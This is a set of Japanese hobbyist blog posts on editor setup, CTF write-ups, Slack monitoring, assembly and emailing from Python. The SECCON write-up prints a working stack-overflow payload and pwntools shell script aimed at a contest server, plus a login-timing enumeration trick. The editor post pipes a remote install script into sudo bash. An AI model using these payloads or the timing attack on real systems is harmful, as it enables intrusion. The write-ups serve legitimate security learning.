coc.nvimを使ってC/C++の開発環境を整える
最近neovimというものに移行しcoc.nvimを使ってみたところ中々VimIDEだったので紹介します。
まずは出来上がりのイメージをどうぞ。
割と良い感じになったかも〜 pic.twitter.com/YLXGI0Xiuo
— きさらぎ (@nabesan_C) July 23, 2020
こんな感じです。
短いコードしか書いていないのでわかりづらいですが、中々補完がIDEっぽくなっているのではないでしょうか。
今回はcoc.nvimというプラグインを使いました。
導入方法
まずは事前にインストールするものがあったりするのでコマンド群を載せます。
sudo apt-get install -y snapd sudo snap install ccls --classic curl -sL install-node.now.sh/lts | sudo bash sudo npm install -g yarn
必要なものを諸々設定します。
cclsのPATHが最初は通っていないのでexportします。
export PATH="$PATH:/snap/bin"
もしくはパスを変えずにリンクを張るなどをしてください。
sudo ln -sf /snap/bin/ccls /usr/local/bin/ccls
これらが完了したら次はnvimの設定ファイルをいじっていきます。
色々な設定ファイルを使いますが全て私は~/.config/nvim
の中に置いています。
ではまずはプラグインのインストール
dein.toml
[[plugins]] repo = 'neoclide/coc.nvim' on_ft = ['python'] merged=0 rev="release" hook_source = ''' source ~/.config/nvim/coc.rc.vim '''
これを記入したらnvimを起動しなおします。
次はcoc-settings.jsonというファイルを編集します。
~/.config/nvim
の直下に直接作成しても良いですし、nvimを開いて:CocConfig
と実行すると設定ファイルの編集に移動します。
coc-settings.json
{ "languageserver": { "ccls": { "command": "ccls", "filetypes": ["c", "cpp", "cuda", "objc", "objcpp"], "rootPatterns": [".ccls-root", "compile_commands.json"], "initializationOptions": { "cache": { "directory": "/tmp/ccls-cache" } } } }, "suggest.keepCompleteopt": true }
これを設定することにより、LSPの恩恵を受けられます。
きっとここまででもう殆ど変わらない動きをしているのではないでしょうか。
ですが、少しだけ違和感が残ると思います。
それは補完対象がデフォルトで選択されていないことです。
通常IDEではヒット率が高いものがデフォルトで選択されている状態になっています。そこでEnterを押すとすぐに挿入ができるわけです。
ですが今の状態だと必ずCtrl+pを実行しなければなりません。
気にならない方は良いのですが私は少し気になったのでinit.vimに追加でコードを書きます。
init.vim
" 補完表示時のEnterで改行をしない inoremap <expr><CR> pumvisible() ? "<C-y>" : "<CR>" set completeopt=menuone,noinsert inoremap <expr><C-n> pumvisible() ? "<Down>" : "<C-n>" inoremap <expr><C-p> pumvisible() ? "<Up>" : "<C-p>"
これによって常に一つは選択された状態になっています。
また選択完了でEnterを押した時に改行をしない。
補完の欄を見るだけでは挿入されず、Enterを押した時のみ実際にコードが挿入されるようになっています。
このコードは
Vimの補完を他エディタやIDEのような挙動にするようにする|yasukotelin|note
こちらを丸々ぱk(( 参考にさせていただきました。
まとめ
私もまだ導入したばかりなのでこれから使用感を確かめていこうと思います。
私以外のvimmerの方々で一押しのプラグインがあれば是非教えてください。
参考
Vimの補完を他エディタやIDEのような挙動にするようにする|yasukotelin|note
NITIC CTF Writeupという名の参加記
NITIC CTFという茨城高専有志の方々によるCTFの大会に参加しました。
結果としては量産型の4位でした(参加した方ならわかる)
主催者の方のツイートに名前が出ていたのは興奮しました。
#nitic_ctf
— ニセコイ23巻を禁書に (@nanigasi_3) 2020年7月19日
順位表めちゃくちゃ面白いんだけど pic.twitter.com/OnCjVIZQ7b
せっかく参加したのでWriteUpを書こうと思います。
Discord上では公式からWriteupが出ているのですが参加記なので気にしません。
pwnのWriteUpはありませんので察してください。
Dangerous Twitter (Recon)
問題文
フレキ君はパスワードの管理がなってないようです。 どうやらフレキ君はあるサイトへのログインパスワードを漏らしてしまったみたい。 フレキ君のTwitterアカウントからそのパスワードを特定しましょう。 フラグはnitic_ctf{特定したパスワード}になります。 https://twitter.com/FPC_COMMUNITY
ということでフレキ君のTwitterを見ると、
デスク環境! pic.twitter.com/n51hOzO6re
— フレキくん@作文 (@FPC_COMMUNITY) 2020年7月19日
セキュリティ観念ガバガバなTweetをしているじゃあありませんか!!
ということでこの問題はクリアです。
82 (Web)
大量のAscii文字が書かれたテキストファイルが与えられてそこからflagを読み取る問題でした。
先頭を見てみると
data:image/jpeg;base64,
という記述があったのでこれはbase64なのか、ということでdata:image/jpeg;base64,
を切り取ってデコードすると画像形式で見れるようになりました。
cat flag2.txt | base64 -d > flag.jpeg
上記のコマンドを実行して画像を表示するとflagが得られました。
(flag2.txtはflag.txtから先頭のdata~を以降を抜き出したものです。)
nitic_ctf{nemu_nemu_panti_shitai}
私が想像していたWeb問題とは違ったので少しびっくりしました。
なぜWeb問題なのか有識者の方教えてください。
prime_factorization (PPC)
問題文
合成数Cが与えられる。 素因数分解してa_0^b_0 * a_1^b_1 * … * a_n^b_nの形にして、nitic_ctf{a_0_b_0_a_1_b_1…a_n_b_n}のがフラグとなる。 この時a_iは素数、b_iは1以上の整数、aは昇順に並んでいる。 例えばC=48の時、48=2^4*3^1より、フラグはnitic_ctf{2_4_3_1}である
与えられた数字は408410100000
でした。
素因数分解してくれるテキトーなサイトに投げて終了です。
私はたまたま見つけたここで素因数分解を行いました。
factrdbでも良いと思います。
結果は25 * 35 * 55 * 75だったのでflag形式に直して完了です。
nitic_ctf{2_5_3_5_5_5_7_5}
shift_only (Crypto)
暗号化されたflagと暗号化アルゴリズムの書かれたソースが渡され、解読するという問題でした。
暗号化されたflag
6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz
encrypt_flag.py
from os import environ flag = environ["FLAG"] format = environ["FORMAT"] shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_" def encrypt(text: str, shift: int) -> str: assert 0 <= shift <= 9 res = "" for c in text: res += shift_table[(shift_table.index(c)+shift)%len(shift_table)] return str(shift) + res for shift in format: flag = encrypt(flag, int(shift)) with open("encrypted.flag", "w") as f: f.write(flag)
文字をshift分だけシフトして、先頭にshiftを加えていく処理を暗号化では行っているので、その逆をやれば解けそうです。
で、私が書いたプログラムがこれ
shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_" def decrypt(flag, shift): res = "" for c in flag: res += shift_table[(shift_table.index(c)+len(shift_table)-shift)%len(shift_table)] return res flag = '6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz' while flag[0] != 'n': flag = decrypt(flag[1:], int(flag[0])) print(flag)
先頭をshiftとして抜き出してそれ以降を暗号文として渡します。
flag形式はnitic_ctf{hoge}なので先頭がnになるまでループを回すことで解読できます。
実行するとflagが出てきました。
nitic_ctf{shift_shift_shift_and_shift}
cha1n (Misc)
おそらく同じ動きをするであろうbatファイルとshスクリプトファイルが渡されそこからflagを見つけ出します。
2種類あるのはOSに依存しない配慮だと思います。
私は".sh"ファイルからflagを見つけました。
ファイルは1.sh
a.sh
c.sh
h.sh
n.sh
がありました。
すべてcatしたやつをとりあえず載せます。
str=$(cat -) str=${str//s/a} str=${str//x/c} echo ${str//qq/rr} str=$(cat -) str=${str//3/\}} str=${str//8/o} echo ${str//ww/qq}str="njtjxpxtfwx()s1Kpx()s1Kpx()s1Kpx()s1Kpx()s1Kp5x8mb83" str=${str//()/h} str=${str//p/_} echo ${str//w/oo}str=$(cat -) str=${str//j/i} str=${str//K/n} echo ${str//oo/ww} str=$(cat -) echo ${str//rr/\{}
中腹にあるstrを置き換えを使ってflagに変換するのだろうと読み取れたので、とりあえずそれぞれ実行してみました。
暗号化された文字はc.shにあるのでそれだけは一番最初に実行しないといけません。
bash c.sh | bash 1.sh | bash a.sh | bash h.sh | bash n.sh
上記を実行するとnitic_ctfwwcha1n_cha1n_cha1n_cha1n_cha1n_5combo}
という文字列が出てきました。
あとはエスパーしてflagに変えます。
nitic_ctf{cha1n_cha1n_cha1n_cha1n_cha1n_5combo}
これWriteUp書いていて気づいたのですが、cha1nの順で実行すればよかったのですね... やっているときはn.shを見落としていたのもあり、全く気が付きませんでした。
FORTRAN (Reversing)
実行形式のファイルが渡されてその中からflagを見つけるというものでした。
strings problem | grep ctf
これでやるとflagが出るのですが、出題者側のうっかりミスでflagが修正前のものだったらしいです。
上記のコマンドの結果がreplacenitictf{Fortran}
だったので、私はミスなんて関係なく
置き換えやるんやな!
とか考えてもう一つwindows用に渡されていたexeファイルも同じコマンドを実行しました。
変更忘れはELFファイルだけだったようです。
nitic_ctf{No_FORTRAN_Yes_Fortran}
これでこの問題は終わりなのですが、置き換えを実行すると思っていた私はnitic_ctf{No_FORTRAN_Yes_nitictf}
とかをsubmitし、解けない解けないをやっていましたw
諦めて元のflagを試しに投げたら通ったので !? って感じでした。
anim (Forensic)
実行形式ファイルが渡されるのでそこからflagを見つける問題です。
とりあえず実行しても実行形式エラーとなるのでfileコマンドを実行すると
flag: Microsoft PowerPoint 2007+
と出るじゃあーりませんか。
ということで拡張子をpptxに変換するとPowerPointで開けるようになるので開いて。
あとはスライドショーでアニメーションを見ると可愛らしくflagが出てきます。
nitic_ctf{ppppptx}
Pwn 諦め・感想
道路さん作門だったし、ポイント高かったしで最初から諦めていました()
とりあえずformat string attackを使うんだなということだけ察しをつけて撤退しました。
あっているかは知りません。
あとで復習しようと思います。
感想
レベル感としてはCTF初心者向けという感じでした。
どの問題も初心者でも調べればできるような問題。
かつ中には頭を使って解くような問題もありとても楽しめました。
第1回のみオープン開催らしいのでとても残念です。
もし第2回があればまた参加したいです。
ありがとうございました。
「SECCON Beginners CTF 2020」に参加しました。
タイトルにもある通り「SECCON Beginners CTF 2020」に参加させていただきました。
初参加だったので参加記を残しておこうと思います。
writeupは作問者様や他の参加者様たちのブログで良質なものが見れると思うので、今回は参加記という形にしています。
あまり気にしなくて良いのかもしれませんが...
結果
4問(welcome問題抜)正解で255位でした。
CTF初心者にしては頑張ったほうなのかな、と思います。
解けた問題
Beginner's Stack
pwn初心者の私には丁度よい難易度の問題でした。
やっていてとても楽しかったです。
リターンアドレスを関数winへ書き換えれば"Congratulations!"という文字が出てシェルが起動するという問題でした。
Aを40文字+win関数のアドレスを入力するとリターンアドレスが書き換えられるのでまずはそれを実行しました。
echo "$(perl -e 'print "A"x40 . "\x61\x08\x40\x00\x00\x00\x00\x00"')" | nc bs.quals.beginners.seccon.jp 90011
これを実行すると終了!
と、おもいきやエラー(?)が出ます。
Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
RSPの値を16バイトにアライメントされていないとだめだ、ということなので少し値をずらして再度実行します。
echo "$(perl -e 'print "A"x40 . "\x62\x08\x40\x00\x00\x00\x00\x00"')" | nc bs.quals.beginners.seccon.jp 9001
\x61から\x62にしました。
これでCongratulations!が出て、あとはシェルを使ってフラグを表示させれば終了!
と思いきや、まだ終了ではありませんでした。
シェルは起動しているのですがコマンドの入出力ができません。
ここで躓いた人は多いのではないでしょうか。私はここで夜を明かしました。
どうにかしてシェルをインタラクティブに操作できないかとグーグル先生にしつこく聞いていたら、pwntoolsなるものが使えそうということがわかりました。
早速導入して書いたコードが以下になります。
from pwn import * def main(): context(arch="i386", os="linux") p = remote("bs.quals.beginners.seccon.jp", 9001) payload = "A"*40 + '\x62\x08\x40\x00\x00\x00\x00\x00' p.sendlineafter("Input:", payload) p.interactive() if __name__ == "__main__": main()
なんとも便利ですね。
見様見真似で書いたので詳しいことはわかりませんが、関数名からなんとなく処理を察して書いてみたら動きました。
インタラクティブにコマンド操作ができるようになったので、lsでflag.txtを捜索してから、catして終了です。
pwntoolsを使う他には以下のような方法でもいけます。
echo "$(perl -e 'print "A"x40 . "\x62\x08\x40\x00\x00\x00\x00\x00"')" > input cat input - | nc bs.quals.beginners.seccon.jp 9001
でもCTFをやっていくならpwntoolsを学んだほうが良さそうですね。
R&B
配られたプログラムを見るとFORMAT(文字列)があったとき、n番目の文字が'R'ならrot13エンコード、'B'ならbase64エンコードをする。
その後rot13なら'R', base64なら'B'をエンコードしたもの先頭に加え、新たな文字列とする。
といった処理になっています。
なのでこれは逆に先頭の文字を見てデコードしていけばFLAGが出るということになります。
書いたコードです。
from base64 import * import codecs def rot13(s): return codecs.decode(s, 'rot13') def base64d(s): return b64decode(s) s = 'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' while s[0] != 'c': if s[0] == 'R': s = rot13(s[1:]) if s[0] == 'B': s = base64d(s[1:]).decode('utf-8') print(s)
flag形式がctf4b{hoge}なので先頭がcになるまで繰り返すことにしています。
今回はこれでflagが出ましたが、ものによってはctfで比較したほうが良いかもしれません。
Spy
この問題もかなり好きな問題でした。
チャレンジページでWebツールを使用する社員の組み合わせを的中させればflagがゲットできる問題でした。
最初全くわからず全列挙してやろう、と思って A + (B ~ Z) まで試したあたりで力尽きてやめました。
やめてきちんとソースコードを見てみると、時間を表示している部分がやけに気になったのでそこを中心に解法を考えてみました。
結果的にこれがflagゲットに繋がったわけですが、運が良かったです。
肝となる処理がここだと思います。(コメントは削除してあります)
exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
アカウントが存在していると2つ目のif文の処理まで流れます。
逆に存在しない場合はその前の1つ目のif文でreturnされるので処理時間は短くなります。
このために時間表示があったのか!とここで気が付きました。
あとは従業員のログインを全部試してみて、ログイン処理が長い従業員をマーク。
go to challengeして終了です。
わかったとき脳汁出まくってやばかったです()
emoemoencode
絵文字でできた文字列が渡されそれを解読する問題でした。
最初見たときわからなさすぎたので、似たような問題が他のCTFで出てないか探しました。
「絵文字 エンコード CTF」と検索するとかなり参考になりそうな記事がヒットしました。
RC3 CTF 2017 の write-up - st98 の日記帳
このCTFではbase64でしたが、似たような感じでやれば良いんだなという方針を立てました。
flag形式がctf4{hoge}なので🍣がcに来るように前後の文字をa~zに割り当てて変換を行いました。
同じように🌴の位置に合わせて0~9も割り当てました。
文字だけだとよくわからないのでコード載せます。
re = list('🍡🍢🍣🍤🍥🍦🍧🍨🍩🍪🍫🍬🍭🍮🍯🍰🍱🍲🍳🍴🍵🍶🍷🍸🍹🍺🌰🌱🌲🌳🌴🌵🌶🌷🌸🌹') alnum = list('abcdefghijklmnopqrstuvwxyz012345679') flag = '🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽' for f in flag: if f in re: print(alnum[re.index(f)], end='') else: print(f, end='') print()
これを実行すると
ctf4b🍻stegan0graphy🍟by🍟em000000ji🍽
となってまだ、正解ではありません。
ですがもうほぼ正解なのであとは勘で" { _ } "を補填してflagが出ました。
本当は各文字コードの下位8bitを抜き出して、ascii変換するのが正攻法っぽいです。
まとめ・感想
CTFやるやる言ってあまりやっていませんでしたが、こういう機会に参加できてとても楽しかったです。
今後少しずつ様々なCTFに参加して、ツヨツヨになっていけたらなあと思います。
詐欺にならないよう気をつけます。
Slackでサーバの死活監視を行う
Incoming Webhookを利用してSlackのチャンネルへサーバから通知を飛ばして、死活監視を行ったのでそれについてまとめます。
実行結果は以下のようになります。
]
準備
自身専用のワークスペースとサーバ管理用のチャンネルがあると良いともいます。
チャンネルへ通知を飛ばすためにはWebhookURLというものが必要になります。
そのためSlackチャンネル内のAppの部分でIncoming Webhookと検索して追加します。
その後設定の画面にいくとWebHookURLが書いてある行があるのでコピーしておきます。
コード作成
公式のセットアップ手順でいくとcurlを使ってSlackへメッセージを送信していますが、今回私はPythonを使ってメッセージを飛ばすことにします。
公式のコマンドは最終的に以下のようになっています。
curl -X POST --data-urlencode "payload={\"channel\": \"#server\", \"username\": \"webhookbot\", \"text\": \"これは webhookbot という名のボットから #server に投稿されています。\", \"icon_emoji\": \":ghost:\"}" {WebhookURL}
これはjson形式のデータをPOSTしているだけなのでもちろんPythonでもできます。
以下が私が作成したプログラムです。
#!/usr/bin/python3 import requests, json WEBHOOK_URL = "{WebhookURL}" CHANNEL = "#server" USERNAME = "webhookbot" def doPost(url, channel, username, text): payload = json.dumps({ "channel": channel, "username": username, "text": text, }) requests.post(url, payload) if __name__ == '__main__': text = "サーバは動作しています\n" doPost(WEBHOOK_URL, CHANNEL, USERNAME, text)
WBHOOK_URLには自身のURLを設定してください。
コードの内容としては単純なものでスクリプトをそのままPythonに置き換えただけです。
jsonライブラリでjson形式にしたデータをrequest.post関数を使ってPOSTしています。
これによってcurlでpayloadをPOSTした時と同じ動作になります。
このスクリプトをcronで定期的にサーバで動作させることで死活監視が行えます。
その際通知がひどいことになるので専用チャンネルを作ってミュートをしておくと良いと思います。
+α
私は上記のコードに加えてログインチェックを行う処理も追加して動作させています。
以下が+αしたコードになります。
#!/usr/bin/python3 import requests, json, subprocess, ipaddress ALLOW_IP_LIST = ['x.x.x.x/x'] WEBHOOK_URL = "{WebhookURL}" CHANNEL = "#server" USERNAME = "webhookbot" def check_login(): ret = '----- check_login -----\n' deallow_ip_flag = True cmd = 'grep Accepted /var/log/auth.log | tail -10' proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE) for line in proc.stdout.decode('utf-8').split('\n'): if not line: ret += 'all ok\n' break line = line.split() month = line[0] day = line[1] time = line[2] user = line[8] ip = ipaddress.ip_address(line[10]) deallow_ip_flag = True for nw in ALLOW_IP_LIST: nw = ipaddress.ip_network(nw) if ip in nw: deallow_ip_flag = False if deallow_ip_flag: ret += '{}-{}-{} {} {}\n'.format(month, day, time, user, ip) break return [deallow_ip_flag, ret] def doPost(url, channel, username, text): payload = json.dumps({ "channel": channel, "username": username, "text": text, }) requests.post(url, payload) if __name__ == '__main__': text = "サーバは動作しています\n" ret = check_login() if ret[0]: text = '<!channel>\n' + text text += ret[1] doPost(WEBHOOK_URL, CHANNEL, USERNAME, text)
動作について説明します。
これはauth.logのログイン成功時の行を抽出してその中に想定IP以外のIPが存在するかを確認します。
ALLOW_IP_LISTは自宅のIPや携帯のIPなど自身が使用するであろう想定のIPを書いておきます。
成功時のログを見て、想定IPしかなかった場合はall ok というメッセージをチャンネルへ送信します。
もし想定していないIPのログインが確認された場合、{日付・時間・ログインユーザ名・IP}という簡易ログをチャンネルへのメンションを付加して送信します。
チャンネルへのメンションは"<!channnel>"で行うことができます。
チャンネルへメンションするとミュートにしている場合でも、通知の欄が赤くなるので通常よりは異常に気付きやすくなると思います。
まとめ
これらのソースはgithub上で管理していて今後も機能を少しずつ充実させていこうと思っています。
少しでも参考になれば良いと思います。
+αのログインチェックは中々お粗末なものではあるので信頼性には欠けますが、死活監視のついでに行う処理としては良いのでないかと思います。
アセンブリでHelloWorldする
環境
Ubuntu 18.04.4 LTS
NASM version 2.13.02
GNU ld (GNU Binutils for Ubuntu) 2.30
目標
アセンブリでシステムコールを呼び出し、HelloWorldを出力することを目指します。
基礎知識
今回HelloWorldをするにあたってwriteシステムコールを使って標準出力をしていきます。
システムコールとは
カーネル(OSの中核)が提供する処理をユーザが呼び出すこと。
例:writeやreadを使ったファイルへの読み書きなど。
カーネルのプロセスはカーネル空間という場所にあり、ユーザは通常そこへはアクセスできません。
そのためシステムコールを経由してカーネルの機能を利用します。
システムコールを呼び出すには
システムコールをアセンブリから呼び出すには「システムコールの識別子」「引数」の設定が必要です。
またそれぞれを設定する際に使うレジスタが決まっています。
設定項目 | レジスタ名 |
---|---|
識別子 | rax |
第1引数 | rdi |
第2引数 | rsi |
第3引数 | rdx |
第4引数 | r10 |
第5引数 | r8 |
第6引数 | r9 |
第7引数以降はスタックに積まれます。
上記の表を見ながら対応するレジスタに必要な値を設定していきます。
設定項目の調査
識別子の確認
raxレジスタに設定する識別子を探します。
この識別子を用いてシステムコールを呼び出す際、どの処理を行うのかを明示します。
今回はwriteシステムコールの識別子を調べます。
識別子は /usr/include/x86_64-linux-gnu/asm/unistd_64.h
にまとめて書いてあります。
その中身を見るなりgrepするなりしてwriteの行を探します。
grep write /usr/include/x86_64-linux-gnu/asm/unistd_64.h
うまく見つからない場合は grep -r write /usr/include/
等を実行すると出力される中に該当の行があると思います。
上記のようなコマンドを実行すると#define __NR_write 1
という行を見つけると思います。
この1というのがシステムコールの識別子です。
この値をraxに設定します。
引数の確認
man 2 write
をするとwriteシステムコールの使い方が確認できます。
manの2というオプションはシステムコールについてのマニュアルを表示するというオプションです。
ssize_t write(int fd, const void *buf, size_t count);
上記の形式にしたがって引数を設定します。
rax = 1 rdi = 1 rsi = "Hello Assembly\n" rdx = 15
今回は標準出力を使うのでfd(ファイルディスクリプション)は1を設定します。
コードを書く
ファイル名はhelloworld.asmにします。
section .data str: db "Hello Assembly", 0x0a section .text global _start _start: mov rax, 1 mov rdi, 1 mov rsi, str mov rdx, 15 syscall mov rax, 60 mov rdi, 0 syscall
それぞれの処理について説明していきます。
文字列の定義
section .data str: db "Hello Assembly", 0x0a
ここでは文字列の定義を行っています。
dataセグメントでは初期値をもつ変数を格納します。
なお初期値のないものはbssセグメントとなります。
c言語で書くとchar str[] = "Hello Assembly\n";
となります。
最後の0x0aというのは改行のアスキーコードです。
命令の記述
section .text global _start _start: mov rax, 1 mov rdi, 1 mov rsi, str mov rdx, 15 syscall
テキストセグメントでは処理する命令を記述します。
global _start
は_start
ラベルへ移動しそこから処理を勧めていくことを記述しています。
_start
ラベル以降に書いてある処理は先程調べた内容(識別子・引数)を設定しています。
rsi(第2引数)ではデータセグメントで定義したstrの場所を指定しています。
rdx(第3引数)は文字列の長さを設定しています。
c言語で書くと
char str[] = "Hello Assembly\n"; write(1, str, 15);
となります。
識別子と引数を設定してsyscallすると該当のシステムコールが呼び出されます。
プログラムの終了
mov rax, 60 mov rdi, 0 syscall
2つ目のシステムコールはexitシステムコールの呼び出しになります。
ステーテスコード0でexitを実行しプログラムを終了します。
実行
nasm -f elf64 -o helloworld.o helloworld.asm ld helloworld.o -o helloworld ./helloworld
まとめ
アセンブリでHelloWorldすることができました。
その他のシステムコールにも挑戦しようと思います。
参考
コンピュータハイジャッキングを読みました。
コンピュータハイジャッキングという本を読んだので軽く感想を書いていこうと思います。
※詳細には書きません。
当該の本
内容
第1章
セキュリティに関する用語の説明など
第3章
リトルエンディアンやビッグエンディアン。仮想アドレス・物理アドレス。また、メモリ領域についてなどの説明。
また、c言語のソースやgdbを用いて実際にアドレスがどうなっているのかを確認する演習があります。
その後アセンブリの基礎としてレジスタ名と用途の説明などがあり、アセンブリでHelloWorldするパートがあったのですがとてもおもしろかったです。
第4章
execveシステムコールを用いてpwdコマンドやshコマンドを実行するアセンブリコードを書きます。
第1引数 | rdi |
第2引数 | rsi |
第3引数 | rdx |
第4引数 | r10 |
第5引数 | r8 |
第6引数 | r9 |
この表を意識しながらコードを読むと理解がより深まる気がします。
感想まとめ
全体的に初心者向けという感じで良書でした!
私のような初心者にはおすすめの1冊だと思います。
なにかご指摘等あればコメントください。
Python3で添付ファイル付きgmailを送信する
完成ソース
import smtplib from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.message import MIMEMessage from email.mime.multipart import MIMEMultipart from email.utils import formatdate import ssl import magic import os import info def create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject): msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = from_addr msg['To'] = to_addr msg['Cc'] = cc_addrs msg['Bcc'] = bcc_addrs msg['Date'] = formatdate() return msg def attach_file(msg, attach_dir): for file_name in os.listdir(attach_dir): path = os.path.join(attach_dir, file_name) with open(path, 'rb') as fp: types = get_mimetypes(path) attachment = MIMEBase(types['maintype'], types['subtype']) attachment.set_payload(fp.read()) encoders.encode_base64(attachment) attachment.add_header( 'Content-Disposition', 'attachment', filename = file_name ) msg.attach(attachment) def add_text(msg, body): msg.attach(MIMEText(body)) def send_mail(from_addr, to_addrs, password, msg): sender = smtplib.SMTP_SSL('smtp.gmail.com', 465) sender.login(from_addr, password) sender.sendmail(from_addr, to_addrs, msg.as_string()) sender.quit() def get_mimetypes(path): m = magic.from_file(path, mime=True).split('/') types = dict(maintype = m[0], subtype = m[1]) return types if __name__ == '__main__': from_addr = info.FROM_ADDRESS to_addr = info.TO_ADDRESS cc_addrs = info.CC bcc_addrs = info.BCC subject = info.SUBJECT body = info.BODY password = info.PASSWORD attach_dir = info.ATTACH_DIR msg = create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject) add_text(msg, body) attach_file(msg, attach_dir) send_mail(from_addr, to_addr, password, msg)
githubは以下になります。
前準備
今回gmailのアカウントとSMTPサーバを利用してメールを送信するのですが、その際googleアカウントの設定で「安全性の低いアプリのアクセス」というのを有効にする必要があります。
こちらのページで「安全性の低いアプリ」と検索し、有効にしてください。
実装
関数を一つずつ説明していきます。
MIMEオブジェクトの作成
def create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject): msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = from_addr msg['To'] = to_addr msg['Cc'] = cc_addrs msg['Bcc'] = bcc_addrs msg['Date'] = formatdate() return msg
この関数はMIMEオブジェクトを作成し、メールの基本情報を設定します。
上から、件名・送信元・送信先・CC・BCC・日付 となっています。
その後MIMEオブジェクトを返します。
このオブジェクトに対して本文を追加したり、画像を添付したりしていきます。
メール送信
def send_mail(from_addr, to_addrs, password, msg): sender = smtplib.SMTP_SSL('smtp.gmail.com', 465) sender.login(from_addr, password) sender.sendmail(from_addr, to_addrs, msg.as_string()) sender.quit()
この関数ではgamilのSMTPサーバへ接続し、メールを送信しています。
from_addrでは送信元、自分のgmailのアドレスを指定します。
passwordにはそのアカウントのパスワードを指定します。
添付ファイル
def get_mimetypes(path): m = magic.from_file(path, mime=True).split('/') types = dict(maintype = m[0], subtype = m[1]) return types def attach_file(msg, attach_dir): for file_name in os.listdir(attach_dir): path = os.path.join(attach_dir, file_name) with open(path, 'rb') as fp: types = get_mimetypes(path) attachment = MIMEBase(types['maintype'], types['subtype']) attachment.set_payload(fp.read()) encoders.encode_base64(attachment) attachment.add_header( 'Content-Disposition', 'attachment', filename = file_name ) msg.attach(attachment) def add_text(msg, body): msg.attach(MIMEText(body))
get_mimetypes関数では指定されたファイルのMIMETypeを返す関数です。
{'maintype':maintype, 'subtype':subtype}
という形式で値を返却します。
MIMETypeについては以下のサイトを参考にしてください。
添付ファイルを送信する際にはそのファイルのMIMETypeを指定する必要があるので後々使います。
def add_text(msg, body): msg.attach(MIMEText(body))
もう一つの関数で簡単な方から説明します。
こちらは引数で受け取った文字列を本文としてMIMEオブジェクトに追加します。
def attach_file(msg, attach_dir): for file_name in os.listdir(attach_dir): path = os.path.join(attach_dir, file_name) with open(path, 'rb') as fp: types = get_mimetypes(path) attachment = MIMEBase(types['maintype'], types['subtype']) attachment.set_payload(fp.read()) encoders.encode_base64(attachment) attachment.add_header( 'Content-Disposition', 'attachment', filename = file_name ) msg.attach(attachment)
この関数では指定したディレクトリのファイルを列挙し、それを添付ファイルとしてMIMEオブジェクトに追加します。
types = get_mimetypes(path) attachment = MIMEBase(types['maintype'], types['subtype'])
ここで先ほど説明したget_mimetypes関数を使います。
そこで得た値を使ってMIMETypeを明示します。
通常のテキストファイルならtext/plainになります。
attachment.set_payload(fp.read()) encoders.encode_base64(attachment)
ここでは添付ファイルの本体をセットし、それをbase64エンコーディングしています。
電子メールではasciiコードでしか文字を送れないためbase64エンコーディングをする必要があります。
これはMIMEの規格で定められた変換方法で、データを(a~z,A~Z,0~9,+,-)の64文字に変換します。
変換したデータを受信側でデコードすることでascii以外の文字もやり取りすることができます。
attachment.add_header( 'Content-Disposition', 'attachment', filename = file_name ) msg.attach(attachment)
ここでは添付ファイルでコンテンツを追加する処理をしています。
'attachment'を指定しないと本文として追加されます。
msg.attach(attachment)
ではMIMEオブジェクトに添付ファイルを追加しています。
if __name__ == '__main__': from_addr = info.FROM_ADDRESS to_addr = info.TO_ADDRESS cc_addrs = info.CC bcc_addrs = info.BCC subject = info.SUBJECT body = info.BODY password = info.PASSWORD attach_dir = info.ATTACH_DIR msg = create_message(from_addr, to_addr, cc_addrs, bcc_addrs, subject) add_text(msg, body) attach_file(msg, attach_dir) send_mail(from_addr, to_addr, password, msg)
最後にメイン処理ですが、これはそのまま各関数を呼び出しているだけです。
info.hogeというのは私が別ファイルでそれらの情報を管理しているだけで、普通にfrom_addr = 'from@example.com'
としていただいて大丈夫です。
これでpythonでメールを送ることができます。
まとめ
プログラムからメールが送信できるようになったので、それを利用してアラート的に使ってみようかなと思います。